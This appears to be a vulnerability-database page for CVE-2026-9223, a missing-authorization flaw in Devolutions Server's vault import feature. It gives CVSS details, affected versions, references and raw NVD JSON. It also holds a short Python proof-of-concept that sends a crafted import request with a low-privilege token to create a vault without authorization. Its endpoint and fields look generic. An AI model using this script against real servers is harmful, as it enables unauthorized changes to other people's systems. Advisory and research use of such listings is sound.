CVE-2026-9223

Description

Missing authorization in the vault import feature in Devolutions Server 2026.1.16.0 and earlier allows a low-privileged authenticated user to create new vaults via a crafted import request.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE

Devolutions Server <= 2026.1.16.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2026-9223 PoC - Devolutions Server Vault Import Authorization Bypass
# Target: Devolutions Server <= 2026.1.16.0

target_url = "https://target-server/api/vault/import"

# Authentication headers (low-privilege user credentials)
headers = {
    "Content-Type": "application/json",
    "Authorization": "Bearer <low_privilege_token>"
}

# Malicious import request to create new vault without proper authorization
payload = {
    "vaultName": "MaliciousVault",
    "vaultType": "standard",
    "importData": {
        "entries": []
    },
    "createNew": True
}

try:
    response = requests.post(target_url, headers=headers, json=payload, verify=False, timeout=10)
    
    if response.status_code == 200 or response.status_code == 201:
        print("[+] SUCCESS: New vault created via unauthorized import")
        print(f"[+] Response: {response.json()}")
    else:
        print(f"[-] FAILED: Status code {response.status_code}")
        print(f"[-] Response: {response.text}")
except requests.exceptions.RequestException as e:
    print(f"[-] ERROR: {str(e)}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9223
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9223
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9223/
[4] VulDB https://vuldb.com/cve/CVE-2026-9223
[5] https://devolutions.net/security/advisories/DEVO-2026-0013/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9223", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:24.890", "lastModified": "2026-05-22T18:57:23.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization in the vault import feature in Devolutions Server 2026.1.16.0 and earlier allows a low-privileged authenticated user to create new vaults via a crafted import request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "1E6A2C7B-F8C3-450D-B554-05F3005A4559"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}